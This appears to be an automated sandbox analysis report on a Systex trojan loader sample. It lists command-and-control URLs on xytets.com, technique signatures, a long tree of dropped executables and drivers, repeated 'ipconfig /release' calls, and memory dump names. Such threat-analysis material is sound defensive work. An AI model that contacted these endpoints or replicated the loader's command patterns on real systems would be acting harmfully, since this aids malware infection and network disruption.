Analysis
- max time kernel
150s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
11/05/2026, 16:46
General
- Target 2026-05-11_5e836bbc3e0ea6c31b330e033d0067a7_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260511-t968vaez7y
- SHA256 9176afb791250d7cd72aed327e642d61af1266a4f9a81ba50edefa0bdcf81175
Malware Config
Extracted
-
systex
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 44 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 55 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 20 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-11_5e836bbc3e0ea6c31b330e033d0067a7_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-11_5e836bbc3e0ea6c31b330e033d0067a7_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4512 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4624 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\icxsqkicau.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\icxsqkicau.exeC:\Temp\icxsqkicau.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_icxsqkicau.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_icxsqkicau.exeC:\Temp\i_icxsqkicau.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xupmhfzxrp.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\xupmhfzxrp.exeC:\Temp\xupmhfzxrp.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xupmhfzxrp.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_xupmhfzxrp.exeC:\Temp\i_xupmhfzxrp.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\upmhfzxrpj.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\upmhfzxrpj.exeC:\Temp\upmhfzxrpj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_upmhfzxrpj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_upmhfzxrpj.exeC:\Temp\i_upmhfzxrpj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\uomhezpjhb.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\uomhezpjhb.exeC:\Temp\uomhezpjhb.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_uomhezpjhb.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_uomhezpjhb.exeC:\Temp\i_uomhezpjhb.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ljebwtomge.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ljebwtomge.exeC:\Temp\ljebwtomge.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ljebwtomge.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ljebwtomge.exeC:\Temp\i_ljebwtomge.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\gbytrljdbv.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\gbytrljdbv.exeC:\Temp\gbytrljdbv.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_gbytrljdbv.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_gbytrljdbv.exeC:\Temp\i_gbytrljdbv.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ywqoigaytq.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ywqoigaytq.exeC:\Temp\ywqoigaytq.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ywqoigaytq.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ywqoigaytq.exeC:\Temp\i_ywqoigaytq.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\avtnlfdxvi.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\avtnlfdxvi.exeC:\Temp\avtnlfdxvi.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_avtnlfdxvi.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_avtnlfdxvi.exeC:\Temp\i_avtnlfdxvi.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pnhfaxsqki.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\pnhfaxsqki.exeC:\Temp\pnhfaxsqki.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pnhfaxsqki.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_pnhfaxsqki.exeC:\Temp\i_pnhfaxsqki.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kfzxrpkhca.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\kfzxrpkhca.exeC:\Temp\kfzxrpkhca.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kfzxrpkhca.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_kfzxrpkhca.exeC:\Temp\i_kfzxrpkhca.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ecwupmhfzx.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ecwupmhfzx.exeC:\Temp\ecwupmhfzx.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ecwupmhfzx.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ecwupmhfzx.exeC:\Temp\i_ecwupmhfzx.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hezxrpjhbz.exe ups_run2⤵
-
C:\Temp\hezxrpjhbz.exeC:\Temp\hezxrpjhbz.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hezxrpjhbz.exe ups_ins2⤵
-
C:\Temp\i_hezxrpjhbz.exeC:\Temp\i_hezxrpjhbz.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ezwrpjhbzt.exe ups_run2⤵
-
C:\Temp\ezwrpjhbzt.exeC:\Temp\ezwrpjhbzt.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ezwrpjhbzt.exe ups_ins2⤵
-
C:\Temp\i_ezwrpjhbzt.exeC:\Temp\i_ezwrpjhbzt.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ywqoigbytr.exe ups_run2⤵
-
C:\Temp\ywqoigbytr.exeC:\Temp\ywqoigbytr.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ywqoigbytr.exe ups_ins2⤵
-
C:\Temp\i_ywqoigbytr.exeC:\Temp\i_ywqoigbytr.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wqoigbytql.exe ups_run2⤵
-
C:\Temp\wqoigbytql.exeC:\Temp\wqoigbytql.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wqoigbytql.exe ups_ins2⤵
-
C:\Temp\i_wqoigbytql.exeC:\Temp\i_wqoigbytql.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\yvqnigaysq.exe ups_run2⤵
-
C:\Temp\yvqnigaysq.exeC:\Temp\yvqnigaysq.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_yvqnigaysq.exe ups_ins2⤵
-
C:\Temp\i_yvqnigaysq.exeC:\Temp\i_yvqnigaysq.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\snlfdxvpni.exe ups_run2⤵
-
C:\Temp\snlfdxvpni.exeC:\Temp\snlfdxvpni.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_snlfdxvpni.exe ups_ins2⤵
-
C:\Temp\i_snlfdxvpni.exeC:\Temp\i_snlfdxvpni.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nhfaxsqkic.exe ups_run2⤵
-
C:\Temp\nhfaxsqkic.exeC:\Temp\nhfaxsqkic.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nhfaxsqkic.exe ups_ins2⤵
-
C:\Temp\i_nhfaxsqkic.exeC:\Temp\i_nhfaxsqkic.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hfzxspkhca.exe ups_run2⤵
-
C:\Temp\hfzxspkhca.exeC:\Temp\hfzxspkhca.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hfzxspkhca.exe ups_ins2⤵
-
C:\Temp\i_hfzxspkhca.exeC:\Temp\i_hfzxspkhca.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mkecwupmhf.exe ups_run2⤵
-
C:\Temp\mkecwupmhf.exeC:\Temp\mkecwupmhf.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mkecwupmhf.exe ups_ins2⤵
-
C:\Temp\i_mkecwupmhf.exeC:\Temp\i_mkecwupmhf.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Temp\hfzxspkhca.sysC:\Temp\hfzxspkhca.sys1⤵
- Executes dropped EXE
-
C:\Temp\khczusmkwu.sysC:\Temp\khczusmkwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\ezurmjecwu.sysC:\Temp\ezurmjecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\wtomgeywro.sysC:\Temp\wtomgeywro.sys1⤵
- Executes dropped EXE
-
C:\Temp\rlgdywqoig.sysC:\Temp\rlgdywqoig.sys1⤵
- Executes dropped EXE
-
C:\Temp\qljdbvtnlg.sysC:\Temp\qljdbvtnlg.sys1⤵
- Executes dropped EXE
-
C:\Temp\lgdyvqoiga.sysC:\Temp\lgdyvqoiga.sys1⤵
- Executes dropped EXE
-
C:\Temp\dxvqnifays.sysC:\Temp\dxvqnifays.sys1⤵
- Executes dropped EXE
-
C:\Temp\vpkicausmk.sysC:\Temp\vpkicausmk.sys1⤵
- Executes dropped EXE
-
C:\Temp\xspkhcausm.sysC:\Temp\xspkhcausm.sys1⤵
- Executes dropped EXE
-
C:\Temp\rpjhczusmk.sysC:\Temp\rpjhczusmk.sys1⤵
-
C:\Temp\pjhbztrmje.sysC:\Temp\pjhbztrmje.sys1⤵
-
C:\Temp\jgbztrljdb.sysC:\Temp\jgbztrljdb.sys1⤵
-
C:\Temp\ljdbvtolge.sysC:\Temp\ljdbvtolge.sys1⤵
-
C:\Temp\lgaytqljdb.sysC:\Temp\lgaytqljdb.sys1⤵
-
C:\Temp\dyvqnigays.sysC:\Temp\dyvqnigays.sys1⤵
-
C:\Temp\usnkfdxvpn.sysC:\Temp\usnkfdxvpn.sys1⤵
-
C:\Temp\ausmkfcxvp.sysC:\Temp\ausmkfcxvp.sys1⤵
-
C:\Temp\xupnhfzxrp.sysC:\Temp\xupnhfzxrp.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
avtnlfdxvi.exe
ezurmjecwu.sys
gbytrljdbv.exe
hfzxspkhca.sys
i_gbytrljdbv.exe
i_icxsqkicau.exe
i_ljebwtomge.exe
i_uomhezpjhb.exe
i_upmhfzxrpj.exe
i_xupmhfzxrp.exe
i_ywqoigaytq.exe
icxsqkicau.exe
khczusmkwu.sys
lgdyvqoiga.sys
ljebwtomge.exe
qljdbvtnlg.sys
rlgdywqoig.sys
uomhezpjhb.exe
upmhfzxrpj.exe
wtomgeywro.sys
xupmhfzxrp.exe
ywqoigaytq.exe
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
RecoveryStore.{F728733F-4D58-11F1-9D89-E2FD98AE3E8F}.dat
RecoveryStore.{F72AD3DD-4D58-11F1-9D89-E2FD98AE3E8F}.dat
suggestions[1].en-US
memory/220-173-0x00000000008B0000-0x000000000092A000-memory.dmp
memory/568-50-0x0000000000010000-0x0000000000083000-memory.dmp
memory/788-211-0x0000000000590000-0x000000000060A000-memory.dmp
memory/924-48-0x00000000008B0000-0x000000000092A000-memory.dmp
memory/932-34-0x0000000000010000-0x0000000000083000-memory.dmp
memory/996-170-0x0000000000010000-0x0000000000083000-memory.dmp
memory/996-162-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1384-191-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1712-95-0x0000000000890000-0x000000000090A000-memory.dmp
memory/1728-218-0x00000000008B0000-0x000000000092A000-memory.dmp
memory/1768-176-0x0000000000860000-0x00000000008DA000-memory.dmp
memory/1788-32-0x0000000000540000-0x00000000005BA000-memory.dmp
memory/1800-214-0x0000000000640000-0x00000000006BA000-memory.dmp
memory/1816-151-0x0000000000850000-0x00000000008CA000-memory.dmp
memory/1972-118-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2020-221-0x0000000000410000-0x000000000048A000-memory.dmp
memory/2072-147-0x0000000000870000-0x00000000008EA000-memory.dmp
memory/2096-197-0x0000000000650000-0x00000000006CA000-memory.dmp
memory/2344-169-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2360-66-0x0000000000520000-0x000000000059A000-memory.dmp
memory/2384-11-0x0000000000840000-0x00000000008BA000-memory.dmp
memory/2496-150-0x00000000004E0000-0x000000000055A000-memory.dmp
memory/2528-79-0x0000000000520000-0x000000000059A000-memory.dmp
memory/2544-57-0x00000000005A0000-0x000000000061A000-memory.dmp
memory/2552-204-0x0000000000520000-0x000000000059A000-memory.dmp
memory/2644-26-0x0000000000660000-0x00000000006DA000-memory.dmp
memory/2752-190-0x0000000000670000-0x00000000006EA000-memory.dmp
memory/2864-101-0x0000000000860000-0x00000000008DA000-memory.dmp
memory/2892-225-0x0000000000860000-0x00000000008DA000-memory.dmp
memory/2920-212-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3184-131-0x00000000008F0000-0x000000000096A000-memory.dmp
memory/3232-78-0x0000000000860000-0x00000000008DA000-memory.dmp
memory/3248-158-0x00000000008D0000-0x000000000094A000-memory.dmp
memory/3352-200-0x0000000000840000-0x00000000008BA000-memory.dmp
memory/3384-116-0x0000000000890000-0x000000000090A000-memory.dmp
memory/3648-40-0x00000000004E0000-0x000000000055A000-memory.dmp
memory/3656-187-0x0000000000580000-0x00000000005FA000-memory.dmp
memory/3696-127-0x0000000000880000-0x00000000008FA000-memory.dmp
memory/3732-180-0x0000000000880000-0x00000000008FA000-memory.dmp
memory/3736-179-0x0000000000560000-0x00000000005DA000-memory.dmp
memory/3796-183-0x0000000000520000-0x000000000059A000-memory.dmp
memory/3848-85-0x0000000000840000-0x00000000008BA000-memory.dmp
memory/4000-130-0x0000000000780000-0x00000000007FA000-memory.dmp
memory/4076-110-0x00000000008D0000-0x000000000094A000-memory.dmp
memory/4128-205-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4152-164-0x00000000008C0000-0x000000000093A000-memory.dmp
memory/4176-208-0x00000000008B0000-0x000000000092A000-memory.dmp
memory/4224-17-0x00000000008B0000-0x000000000092A000-memory.dmp
memory/4332-148-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4476-198-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4644-177-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4700-42-0x0000000000010000-0x000000000004E000-memory.dmp
memory/4720-103-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4732-56-0x00000000007C0000-0x000000000083A000-memory.dmp
memory/4752-123-0x0000000000720000-0x000000000079A000-memory.dmp
memory/4972-201-0x0000000000870000-0x00000000008EA000-memory.dmp
memory/5056-161-0x0000000000470000-0x00000000004EA000-memory.dmp
memory/5080-109-0x0000000000750000-0x00000000007CA000-memory.dmp
memory/5096-219-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5100-87-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5140-157-0x0000000000830000-0x00000000008AA000-memory.dmp
memory/5180-168-0x00000000008C0000-0x000000000093A000-memory.dmp
memory/5236-222-0x0000000000460000-0x00000000004DA000-memory.dmp
memory/5360-172-0x0000000000830000-0x00000000008AA000-memory.dmp
memory/5392-94-0x0000000000530000-0x00000000005AA000-memory.dmp
memory/5400-186-0x00000000008C0000-0x000000000093A000-memory.dmp
memory/5440-215-0x0000000000550000-0x00000000005CA000-memory.dmp
memory/5504-155-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5524-128-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5524-194-0x0000000000860000-0x00000000008DA000-memory.dmp
memory/5548-10-0x00000000004B0000-0x000000000052A000-memory.dmp
memory/5656-193-0x0000000000640000-0x00000000006BA000-memory.dmp
memory/5660-25-0x0000000000560000-0x00000000005DA000-memory.dmp
memory/5684-124-0x0000000000520000-0x000000000059A000-memory.dmp
memory/5708-41-0x0000000000660000-0x00000000006DA000-memory.dmp
memory/5748-207-0x00000000008F0000-0x000000000096A000-memory.dmp
memory/5768-154-0x00000000008C0000-0x000000000093A000-memory.dmp
memory/5828-19-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5864-70-0x0000000000010000-0x0000000000083000-memory.dmp
memory/6048-184-0x0000000000010000-0x0000000000083000-memory.dmp
memory/6124-165-0x0000000000870000-0x00000000008EA000-memory.dmp